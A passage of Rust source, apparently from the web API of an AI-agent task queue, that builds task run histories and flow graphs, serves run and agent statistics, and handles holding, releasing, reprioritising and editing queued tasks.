5651 let cause = if s.quota.is_empty() {
5658 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5659 } else {
5660 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5661 };
5662 format!(
5663 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5664 )
5665 } else if s.parked {
5666 match recorded_end.and_then(|v| v.cause.as_ref()) {
5667 Some(cause) => format!(
5668 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5669 cause.label(),
5670 cost_words
5671 ),
5672 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5673 .to_owned(),
5674 }
5675 } else if !status.done()
5676 || matches!(
5677 status,
5678 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5679 )
5680 {
5681 String::new()
5682 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5683 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5684 {
5685 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5686 .to_owned()
5687 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5688 " It left a pull request open, so the task was held for a person rather than retried."
5689 .to_owned()
5690 } else if matches!(status, RunStatus::VerifiedNoop) {
5691 " Held for a person to check the claim.".to_owned()
5692 } else if last {
5693 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5694 } else {
5695 " It spent an attempt, and the task moved on to the next run.".to_owned()
5696 };
5697 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5698 let mut attempt = exit.cost();
5699 let mut exit_label = None;
5700 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5701 let spent = match v.cost {
5702 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5703 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5704 None if resumed_later.is_some() => ", refund not recorded",
5705 None => ", attempt refunded",
5706 };
5707 attempt = match v.cost {
5708 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5709 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5710 None if resumed_later.is_some() => AttemptCost::Unknown,
5711 None => attempt,
5712 };
5713 if v.end == "parked" {
5714 exit = RunExit::Parked;
5715 exit_label = Some(match v.cause.as_ref() {
5716 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5717 format!("parked for {}{spent}", c.label())
5718 }
5719 Some(c) => format!("parked ({}){spent}", c.label()),
5720 None => format!("parked{spent}"),
5721 });
5722 } else {
5723 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5724 }
5725 }
5726 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5727 TaskRunView {
5728 n,
5729 id: id.to_owned(),
5730 short,
5731 kind,
5732 status: Some(status.as_str()),
5733 readable: true,
5734 provisional,
5735 description,
5736 outcome: format!("{head}{why}"),
5737 created_at: Some(s.created_at),
5738 pr: s.pr.as_ref().map(|p| p.url.clone()),
5739 exit,
5740 attempt,
5741 exit_label,
5742 later_pass: resumed_later,
5743 pass_n,
5744 passes_of_run,
5745 pass: view,
5746 branch: branch.map(str::to_owned),
5747 badge: None,
5748 }
5749}
5750
5751fn capitalise(s: &str) -> String {
5752 let mut c = s.chars();
5753 c.next().map_or_else(String::new, |f| {
5754 f.to_uppercase().collect::<String>() + c.as_str()
5755 })
5756}
5757
5758#[derive(Debug, Serialize, PartialEq)]
5760struct FlowNode {
5761 key: String,
5763 kind: &'static str,
5765 label: String,
5766 status: Option<&'static str>,
5769 status_of: &'static str,
5772 note: Option<&'static str>,
5774 run_kind: Option<&'static str>,
5775 detail: Option<String>,
5776 decided: bool,
5778 readable: bool,
5779 href: Option<String>,
5780 badge: Option<String>,
5782 started_at: Option<Timestamp>,
5784 time_expected: bool,
5786}
5787
5788#[derive(Debug, Serialize, PartialEq)]
5789struct FlowEdge {
5790 from: String,
5791 to: String,
5792 label: String,
5793 attempt: AttemptCost,
5794}
5795
5796#[derive(Debug, Serialize, PartialEq)]
5797struct FlowView {
5798 nodes: Vec<FlowNode>,
5799 edges: Vec<FlowEdge>,
5800 attempts: usize,
5802 max_attempts: usize,
5803 passes: usize,
5806 runs: usize,
5807}
5808
5809fn task_flow(
5818 task: &Task,
5819 history: &[TaskRunView],
5820 max_attempts: usize,
5821 origin: Option<&FollowUpOrigin>,
5822) -> FlowView {
5823 let max_attempts = task.effective_attempt_limit(max_attempts);
5824 let node = |key: &str, kind, label: String| FlowNode {
5825 key: key.to_owned(),
5826 kind,
5827 label,
5828 status: None,
5829 status_of: "run",
5830 note: None,
5831 run_kind: None,
5832 detail: None,
5833 decided: false,
5834 readable: true,
5835 href: None,
5836 badge: None,
5837 started_at: None,
5838 time_expected: matches!(kind, "start" | "run" | "end"),
5839 };
5840 let mut nodes = Vec::new();
5841 let mut edges: Vec<FlowEdge> = Vec::new();
5842 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5844 let mut n = node(
5845 "chat",
5846 "chat",
5847 format!("Chat {}", crate::queue::short(&link.id)),
5848 );
5849 n.href = Some(link.href);
5850 nodes.push(n);
5851 edges.push(FlowEdge {
5852 from: "chat".to_owned(),
5853 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5854 label: "queued from chat".to_owned(),
5855 attempt: AttemptCost::None,
5856 });
5857 }
5858 if let Some(o) = origin {
5859 let mut n = match &o.parent {
5860 Some(p) => {
5861 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5862 n.status = Some(p.status);
5863 n.status_of = "task";
5864 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5865 n.href = Some(p.href.clone());
5866 n
5867 }
5868 None => {
5869 let mut n = node(
5870 "origin",
5871 "followup",
5872 format!("Follow-up of run {}", o.run.short),
5873 );
5874 n.detail = Some("merged run".to_owned());
5875 n.status = o.run.status;
5876 n.href = o.run.href.clone();
5877 if o.run.href.is_none() {
5878 n.readable = false;
5879 n.note = Some("unreadable");
5880 }
5881 n
5882 }
5883 };
5884 n.decided = true;
5885 let from = n.key.clone();
5886 nodes.push(n);
5887 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5888 let more = o.findings.len().saturating_sub(shown.len());
5889 let label = match (shown.is_empty(), more) {
5890 (true, _) => "open findings".to_owned(),
5891 (false, 0) => format!("open findings {}", shown.join(", ")),
5892 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5893 };
5894 edges.push(FlowEdge {
5895 from,
5896 to: "start".to_owned(),
5897 label,
5898 attempt: AttemptCost::None,
5899 });
5900 }
5901 let mut start = node("start", "start", "Task queued".to_owned());
5902 start.started_at = Some(task.created_at);
5903 nodes.push(start);
5904 let mut prev = "start".to_owned();
5905 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5906 for (i, h) in history.iter().enumerate() {
5907 let key = format!("run-{}", h.n);
5908 let mut n = node(&key, "run", format!("Run {}", h.short));
5909 n.started_at = h
5912 .readable
5913 .then(|| {
5914 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5915 h.created_at
5916 } else {
5917 None
5918 })
5919 })
5920 .flatten();
5921 n.run_kind = Some(h.kind);
5922 n.readable = h.readable;
5923 n.href = Some(format!("#/runs/{}", h.id));
5924 n.decided = h.readable && !h.provisional;
5925 n.detail = h
5926 .branch
5927 .as_ref()
5928 .map(|b| format!("review-only run of branch {b}"));
5929 match h.exit {
5930 RunExit::Unreadable => n.note = Some("unreadable"),
5931 RunExit::Interrupted => n.note = Some("interrupted"),
5932 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5935 _ => {
5936 n.status = h.status;
5937 n.badge = h.badge.clone();
5938 if h.provisional {
5939 n.note = Some("no verdict");
5940 }
5941 }
5942 }
5943 let into = match h.kind {
5944 "review" => Some(format!(
5945 "review-only run of branch {}",
5946 h.branch.as_deref().unwrap_or("?")
5947 )),
5948 "resume" => Some("resume the same run".to_owned()),
5949 _ if i > 0 => Some("retry".to_owned()),
5950 _ => None,
5951 };
5952 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5953 let label = match (prev_exit, into) {
5954 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5955 (Some((_, l, _)), None) => l,
5956 (None, Some(i)) => i,
5957 (None, None) => "claimed".to_owned(),
5958 };
5959 edges.push(FlowEdge {
5960 from: prev.clone(),
5961 to: key.clone(),
5962 label,
5963 attempt,
5964 });
5965 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5966 prev = key;
5967 nodes.push(n);
5968 }
5969 let mut end = node("end", "end", task.status.as_str().to_owned());
5970 end.status = Some(task.status.as_str());
5971 end.status_of = "task";
5972 if task.status == TaskStatus::Held {
5975 end.started_at = task.held_at;
5976 }
5977 nodes.push(end);
5978 let (label, attempt) = match prev_exit {
5979 None => (
5980 format!("no run yet \u{2192} {}", task.status.as_str()),
5981 AttemptCost::None,
5982 ),
5983 Some((e, l, cost)) if e.explains(task.status) => {
5984 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5985 }
5986 Some((_, _, cost)) => (
5987 format!("closed by hand: task is {}", task.status.as_str()),
5988 cost,
5989 ),
5990 };
5991 edges.push(FlowEdge {
5992 from: prev,
5993 to: "end".to_owned(),
5994 label,
5995 attempt,
5996 });
5997 FlowView {
5998 nodes,
5999 edges,
6000 attempts: task.attempts,
6001 max_attempts,
6002 passes: history.len(),
6003 runs: distinct_runs(&task.runs),
6004 }
6005}
6006
6007fn distinct_runs(runs: &[String]) -> usize {
6009 let mut seen: Vec<&str> = Vec::new();
6010 for r in runs {
6011 if !seen.contains(&r.as_str()) {
6012 seen.push(r);
6013 }
6014 }
6015 seen.len()
6016}
6017
6018fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6020 let mut slots = Vec::new();
6021 let mut seen = Vec::new();
6022 for run_id in &task.runs {
6023 if seen.contains(&run_id) {
6024 continue;
6025 }
6026 seen.push(run_id);
6027 let state = read(run_id);
6028 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6029 s.passes
6030 .iter()
6031 .filter(|p| {
6032 p.task_entry
6033 || task
6034 .passes
6035 .iter()
6036 .any(|t| t.run == *run_id && t.pass_index == p.index)
6037 })
6038 .cloned()
6039 .collect()
6040 });
6041 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6042 let total = legacy_count.max(mine.len());
6043 let offset = total - mine.len();
6044 for k in 0..total {
6045 let position = task
6048 .runs
6049 .iter()
6050 .enumerate()
6051 .filter(|(_, r)| *r == run_id)
6052 .nth(k.min(legacy_count - 1))
6053 .unwrap()
6054 .0;
6055 slots.push((
6056 run_id,
6057 state.clone(),
6058 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6059 position,
6060 ));
6061 }
6062 }
6063 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6064 slots.sort_by_key(|(_, state, pass, _)| {
6065 pass.as_ref()
6066 .map(|p| p.started_at)
6067 .or_else(|| state.as_ref().map(|s| s.created_at))
6068 .map_or((true, task.created_at), |at| (false, at))
6069 });
6070 } else {
6071 slots.sort_by_key(|(_, _, _, position)| *position);
6072 }
6073 let mut history = Vec::with_capacity(slots.len());
6074 let mut seen: Vec<&str> = Vec::new();
6075 let mut prior: Option<(&str, RunStatus)> = None;
6076 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6077 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6078 let resumed = k > 0;
6079 seen.push(run_id);
6080 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6081 let pass = pass.as_ref();
6082 let settled = pass.and_then(|p| {
6083 task.passes
6084 .iter()
6085 .find(|t| t.run == **run_id && t.pass_index == p.index)
6086 });
6087 history.push(task_run_view(
6088 run_id,
6089 state.as_ref(),
6090 RunSlot {
6091 n: i + 1,
6092 resumed,
6093 resumed_later: slots[i + 1..]
6094 .iter()
6095 .position(|(id, _, _, _)| id == run_id)
6096 .map(|off| i + off + 2),
6097 prior,
6098 last: i + 1 == slots.len(),
6099 pass,
6100 settled,
6101 pass_n: k + 1,
6102 passes_of_run: total,
6103 },
6104 task,
6105 ));
6106 if let Some(s) = &state {
6107 prior = Some((run::short_of(run_id), s.status));
6108 }
6109 }
6110 history
6111}
6112
6113fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6116 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6117 return;
6118 }
6119 let (_, claimed, _) = run_row_inputs(ui);
6120 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6121 for h in history
6122 .iter_mut()
6123 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6124 {
6125 let Ok(state) = read_run(&ui.runs, &h.id) else {
6126 continue;
6127 };
6128 if state.status.done() {
6129 continue;
6130 }
6131 let live = state.liveness_with(
6132 claimed.contains(&h.id),
6133 |p| probe.borrow_mut().status(p),
6134 |p| probe.borrow_mut().started_at(p),
6135 );
6136 let waiting = !ui.questions.open_for(&h.id).is_empty();
6137 let display = run_display_status(&state, waiting, live);
6138 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6139 if matches!(word.as_str(), "stale" | "superseded")
6140 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6141 {
6142 h.badge = Some(word);
6143 }
6144 }
6145}
6146
6147async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6148 blocking(move || {
6149 let id = resolve_task(&ui.queue, &id)?;
6150 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6151 })
6152 .await
6153}
6154
6155async fn task_detail(
6156 State(ui): State<Arc<Ui>>,
6157 Path(id): Path<String>,
6158) -> ApiResult<Json<TaskDetailView>> {
6159 blocking(move || {
6160 let id = resolve_task(&ui.queue, &id)?;
6161 let task = ui
6162 .queue
6163 .get(&id)
6164 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6165 let inv = if task.status == TaskStatus::Blocked {
6166 Some(crate::blockers::Inventory::load_for(
6167 &ui.queue,
6168 &ui.questions,
6169 &task,
6170 ))
6171 } else {
6172 None
6173 };
6174 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6175 mark_badges(&ui, &task, &mut history);
6176 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6177 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6178 let origin = task.followup.as_ref().map(|fu| {
6179 followup_origin(
6180 fu,
6181 |tid| ui.queue.get(tid).ok(),
6182 |rid| read_run(&ui.runs, rid).ok(),
6183 )
6184 });
6185 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6186 let task_view = match inv.as_ref() {
6187 Some(inv) => TaskView::with_inventory(task, inv),
6188 None => TaskView::from(task),
6189 };
6190 Ok(Json(TaskDetailView {
6191 max_attempts,
6192 flow,
6193 followup_origin: origin,
6194 passes_total: history.len(),
6195 runs_distinct: distinct_runs(&task_view.task.runs),
6196 history,
6197 runs_unreadable,
6198 attempts_note: ATTEMPTS_NOTE,
6199 task: task_view,
6200 }))
6201 })
6202 .await
6203}
6204
6205#[derive(Debug, Serialize)]
6209struct RateView {
6210 pct: f64,
6211 denominator: usize,
6212}
6213
6214impl RateView {
6215 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6216 (denominator > 0).then(|| Self {
6217 pct: 100.0 * numerator as f64 / denominator as f64,
6218 denominator,
6219 })
6220 }
6221}
6222
6223#[derive(Debug, Serialize)]
6228struct StatsTotalsView {
6229 runs: usize,
6230 merged: usize,
6231 ready: usize,
6232 blocked: usize,
6233 failed: usize,
6234 stalled: usize,
6235 verified_noop: usize,
6236 superseded: usize,
6237 in_progress: usize,
6238 completion_rate: Option<RateView>,
6239 tallied: usize,
6240 split: usize,
6241 split_rate: Option<RateView>,
6242 deliberated: usize,
6243 minds_changed: usize,
6244 converged: usize,
6245 review_rounds: usize,
6246}
6247
6248impl From<&stats::Totals> for StatsTotalsView {
6249 fn from(t: &stats::Totals) -> Self {
6250 Self {
6251 runs: t.runs,
6252 merged: t.merged,
6253 ready: t.ready,
6254 blocked: t.blocked,
6255 failed: t.failed,
6256 stalled: t.stalled,
6257 verified_noop: t.verified_noop,
6258 superseded: t.superseded,
6259 in_progress: t.in_progress,
6260 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6261 tallied: t.tallied,
6262 split: t.split,
6263 split_rate: RateView::of(t.split, t.tallied),
6264 deliberated: t.deliberated,
6265 minds_changed: t.minds_changed,
6266 converged: t.converged,
6267 review_rounds: t.review_rounds,
6268 }
6269 }
6270}
6271
6272#[derive(Debug, Serialize)]
6274struct AgentStatsView {
6275 agent: String,
6276 entered: usize,
6277 wins: usize,
6278 empty: usize,
6279 win_rate: Option<RateView>,
6280 competitive_entered: usize,
6281 competitive_wins: usize,
6282 competitive_win_rate: Option<RateView>,
6283 solo_entered: usize,
6284 solo_adopted: usize,
6285 solo_adoption_rate: Option<RateView>,
6286}
6287
6288impl From<&stats::AgentStats> for AgentStatsView {
6289 fn from(a: &stats::AgentStats) -> Self {
6290 Self {
6291 agent: a.agent.clone(),
6292 entered: a.entered,
6293 wins: a.wins,
6294 empty: a.empty,
6295 win_rate: RateView::of(a.wins, a.entered),
6296 competitive_entered: a.competitive_entered,
6297 competitive_wins: a.competitive_wins,
6298 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6299 solo_entered: a.solo_entered,
6300 solo_adopted: a.solo_adopted,
6301 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6302 }
6303 }
6304}
6305
6306#[derive(Debug, Serialize)]
6310struct ReviewerStatsView {
6311 agent: String,
6312 rounds: usize,
6313 seated: usize,
6314 submitted: usize,
6315 adopted: usize,
6316 unique: usize,
6317 timeouts: usize,
6318 adopted_per_round: Option<f64>,
6319 precision: Option<RateView>,
6320 unique_rate: Option<RateView>,
6321 timeout_rate: Option<RateView>,
6322}
6323
6324impl From<&stats::ReviewerStats> for ReviewerStatsView {
6325 fn from(r: &stats::ReviewerStats) -> Self {
6326 Self {
6327 agent: r.agent.clone(),
6328 rounds: r.rounds,
6329 seated: r.seated,
6330 submitted: r.submitted,
6331 adopted: r.adopted,
6332 unique: r.unique,
6333 timeouts: r.timeouts,
6334 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6335 precision: RateView::of(r.adopted, r.submitted),
6336 unique_rate: RateView::of(r.unique, r.submitted),
6337 timeout_rate: RateView::of(r.timeouts, r.seated),
6338 }
6339 }
6340}
6341
6342#[derive(Debug, Serialize)]
6348struct AdvisorStatsView {
6349 agent: String,
6350 seated: usize,
6351 proposed: usize,
6352 absent: usize,
6353 faint: usize,
6354 strong: usize,
6355 reflection_rate: Option<RateView>,
6356}
6357
6358impl From<&stats::AdvisorStats> for AdvisorStatsView {
6359 fn from(a: &stats::AdvisorStats) -> Self {
6360 Self {
6361 agent: a.agent.clone(),
6362 seated: a.seated,
6363 proposed: a.proposed,
6364 absent: a.absent,
6365 faint: a.faint,
6366 strong: a.strong,
6367 reflection_rate: RateView::of(a.strong, a.proposed),
6368 }
6369 }
6370}
6371
6372#[derive(Debug, Serialize)]
6374struct E2eStatsView {
6375 rounds: usize,
6376 failures: usize,
6377 sole_detections: usize,
6378 deferred: usize,
6379 sole_rate: Option<RateView>,
6380}
6381
6382impl From<&stats::E2eStats> for E2eStatsView {
6383 fn from(e: &stats::E2eStats) -> Self {
6384 Self {
6385 rounds: e.rounds,
6386 failures: e.failures,
6387 sole_detections: e.sole_detections,
6388 deferred: e.deferred,
6389 sole_rate: RateView::of(e.sole_detections, e.failures),
6390 }
6391 }
6392}
6393
6394#[derive(Debug, Serialize)]
6402struct ReleaseBumpStatsView {
6403 merged: usize,
6404 recorded: usize,
6405 pr_opened: usize,
6406 automerge_enabled: usize,
6407 merged_directly: usize,
6408 needs_attention: usize,
6409 clean: usize,
6410 coverage_rate: Option<RateView>,
6411 automerge_rate: Option<RateView>,
6412 attention_rate: Option<RateView>,
6413}
6414
6415impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6416 fn from(b: &stats::ReleaseBumpStats) -> Self {
6417 Self {
6418 merged: b.merged,
6419 recorded: b.recorded,
6420 pr_opened: b.pr_opened,
6421 automerge_enabled: b.automerge_enabled,
6422 merged_directly: b.merged_directly,
6423 needs_attention: b.needs_attention,
6424 clean: b.clean(),
6425 coverage_rate: RateView::of(b.recorded, b.merged),
6426 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6427 attention_rate: RateView::of(b.needs_attention, b.recorded),
6428 }
6429 }
6430}
6431
6432#[derive(Debug, Serialize)]
6434struct TaskCountsView {
6435 queued: usize,
6436 running: usize,
6437 done: usize,
6438 failed: usize,
6439 held: usize,
6440 blocked: usize,
6441 parked: usize,
6442}
6443
6444impl From<crate::queue::TaskCounts> for TaskCountsView {
6445 fn from(c: crate::queue::TaskCounts) -> Self {
6446 Self {
6447 queued: c.queued,
6448 running: c.running,
6449 done: c.done,
6450 failed: c.failed,
6451 held: c.held,
6452 blocked: c.blocked,
6453 parked: c.parked,
6454 }
6455 }
6456}
6457
6458#[derive(Debug, Serialize)]
6464struct RepoSummaryView {
6465 repo: String,
6468 name: String,
6470 runs: usize,
6471 completion_rate: Option<RateView>,
6472}
6473
6474impl From<&stats::RepoStats> for RepoSummaryView {
6475 fn from(r: &stats::RepoStats) -> Self {
6476 let t = &r.stats.totals;
6477 Self {
6478 repo: r.repo.to_string_lossy().into_owned(),
6479 name: r.name.clone(),
6480 runs: t.runs,
6481 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6482 }
6483 }
6484}
6485
6486#[derive(Debug, Serialize)]
6492struct StatsView {
6493 totals: StatsTotalsView,
6494 agents: Vec<AgentStatsView>,
6496 reviewers: Vec<ReviewerStatsView>,
6498 advisors: Vec<AdvisorStatsView>,
6500 e2e: E2eStatsView,
6501 release_bumps: ReleaseBumpStatsView,
6502 queue: Option<TaskCountsView>,
6503 runs_unreadable: usize,
6513 repos: Vec<RepoSummaryView>,
6517 daily: Vec<DailyStatsView>,
6522 repo: Option<String>,
6526 retired_hidden: Vec<String>,
6530}
6531
6532#[derive(Debug, Serialize)]
6534struct DailyStatsView {
6535 date: String,
6537 runs: usize,
6538 merged: usize,
6539 ready: usize,
6540 other: usize,
6541 completion_rate: Option<RateView>,
6543}
6544
6545impl From<&stats::DayBucket> for DailyStatsView {
6546 fn from(b: &stats::DayBucket) -> Self {
6547 Self {
6548 date: b.date.to_string(),
6549 runs: b.runs,
6550 merged: b.merged,
6551 ready: b.ready,
6552 other: b.other,
6553 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6554 }
6555 }
6556}
6557
6558const STATS_DAILY_DAYS: usize = 30;
6560
6561#[derive(Debug, Default, Deserialize)]
6570#[serde(default)]
6571struct StatsQuery {
6572 repo: Option<String>,
6573 all: bool,
6575 runs_only: bool,
6577}
6578
6579async fn stats_get(
6586 State(ui): State<Arc<Ui>>,
6587 Query(q): Query<StatsQuery>,
6588) -> ApiResult<Json<StatsView>> {
6589 blocking(move || {
6590 let states: Vec<RunState> = run_ids(&ui.runs)
6591 .into_iter()
6592 .filter_map(|id| read_run(&ui.runs, &id).ok())
6593 .collect();
6594 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6595 .iter()
6596 .map(RepoSummaryView::from)
6597 .collect();
6598 let mut scoped: Vec<&RunState> = states.iter().collect();
6599 let mut collected = match &q.repo {
6600 Some(repo) => {
6601 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6602 if filtered.is_empty() {
6603 return Err(ApiError::not_found(format!(
6604 "no runs recorded against repo `{repo}`"
6605 )));
6606 }
6607 scoped = filtered.clone();
6608 stats::collect_refs(filtered)
6609 }
6610 None => stats::collect(&states),
6611 };
6612 if !q.all {
6613 let repo = q
6614 .repo
6615 .as_deref()
6616 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6617 stats::retain_current_roster(&mut collected, &repo);
6618 }
6619 let daily = stats::daily(
6620 scoped,
6621 jiff::Zoned::now().date(),
6622 &jiff::tz::TimeZone::system(),
6623 STATS_DAILY_DAYS,
6624 );
6625 let queue_counts = (!q.runs_only)
6626 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6627 Ok(Json(StatsView {
6628 totals: StatsTotalsView::from(&collected.totals),
6629 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6630 reviewers: collected
6631 .reviewers
6632 .iter()
6633 .map(ReviewerStatsView::from)
6634 .collect(),
6635 advisors: collected
6636 .advisors
6637 .iter()
6638 .map(AdvisorStatsView::from)
6639 .collect(),
6640 e2e: E2eStatsView::from(&collected.e2e),
6641 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6642 queue: queue_counts,
6643 runs_unreadable: runs_unreadable(&ui.runs),
6644 repos,
6645 daily: daily.iter().map(DailyStatsView::from).collect(),
6646 repo: q.repo.clone(),
6647 retired_hidden: collected.retired_hidden.clone(),
6648 }))
6649 })
6650 .await
6651}
6652
6653#[derive(Debug, Default, Deserialize)]
6656#[serde(default, deny_unknown_fields)]
6657struct HoldBody {
6658 reason: Option<String>,
6659}
6660
6661async fn queue_hold(
6662 State(ui): State<Arc<Ui>>,
6663 Path(id): Path<String>,
6664 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6665) -> ApiResult<Json<TaskView>> {
6666 let body = match body {
6670 Ok(Json(body)) => body,
6671 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6672 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6673 };
6674 let reason = body.reason.filter(|r| !r.trim().is_empty());
6675 mutate(ui, id, move |t| {
6676 t.hold_manual(reason.clone());
6677 Ok(())
6678 })
6679 .await
6680}
6681
6682async fn queue_release(
6683 State(ui): State<Arc<Ui>>,
6684 Path(id): Path<String>,
6685) -> ApiResult<Json<TaskView>> {
6686 mutate(ui, id, |t| {
6687 t.release_operator("web", None);
6688 Ok(())
6689 })
6690 .await
6691}
6692
6693#[derive(Debug, Deserialize)]
6694#[serde(deny_unknown_fields)]
6695struct AttemptLimitBody {
6696 attempt_limit: serde_json::Value,
6698}
6699
6700async fn queue_attempt_limit(
6701 State(ui): State<Arc<Ui>>,
6702 Path(id): Path<String>,
6703 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6704) -> ApiResult<Json<TaskView>> {
6705 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6706 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6707 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6708 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6709}
6710
6711#[derive(Debug, Deserialize)]
6712#[serde(deny_unknown_fields)]
6713struct ImplementersBody {
6714 implementers: u8,
6715}
6716
6717async fn queue_implementers(
6718 State(ui): State<Arc<Ui>>,
6719 Path(id): Path<String>,
6720 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6721) -> ApiResult<Json<TaskView>> {
6722 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6723 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6724}
6725
6726#[derive(Debug, Deserialize)]
6727#[serde(deny_unknown_fields)]
6728struct UrgentBody {
6729 urgent: bool,
6730}
6731
6732async fn queue_urgent(
6733 State(ui): State<Arc<Ui>>,
6734 Path(id): Path<String>,
6735 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6736) -> ApiResult<Json<TaskView>> {
6737 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6738 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6739}
6740
6741#[derive(Debug, Deserialize)]
6743#[serde(deny_unknown_fields)]
6744struct PriorityBody {
6745 priority: i32,
6746}
6747
6748async fn queue_priority(
6754 State(ui): State<Arc<Ui>>,
6755 Path(id): Path<String>,
6756 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6757) -> ApiResult<Json<TaskView>> {
6758 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6759 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6760}
6761
6762#[derive(Debug, Deserialize)]
6764#[serde(deny_unknown_fields)]
6765struct EditBody {
6766 title: String,
6767 instruction: String,
6768 #[serde(default)]
6771 force: bool,
6772}
6773
6774async fn queue_edit(
6778 State(ui): State<Arc<Ui>>,
6779 Path(id): Path<String>,
6780 body: std::result::Result<Json<EditBody>, JsonRejection>,
6781) -> ApiResult<Json<TaskView>> {
6782 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6783 let mut judged: Option<(String, PathBuf)> = None;
6787 if !body.force {
6788 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6789 let (id, text) = (id.clone(), body.instruction.clone());
6790 let (seen, hits) = blocking(move || {
6791 let id = resolve_task(&queue, &id)?;
6792 let t = queue.get(&id)?;
6793 if text == t.instruction {
6794 return Ok((None, Vec::new()));
6795 }
6796 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6797 Ok((Some((t.instruction, t.repo)), hits))
6798 })
6799 .await?;
6800 if let Some((_, repo)) = &seen {
6801 let cfg = crate::config::Config::discover(repo, None)
6802 .ok()
6803 .map(|(c, _)| c);
6804 let screened =
6805 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6806 .await
6807 .map_err(|dup| {
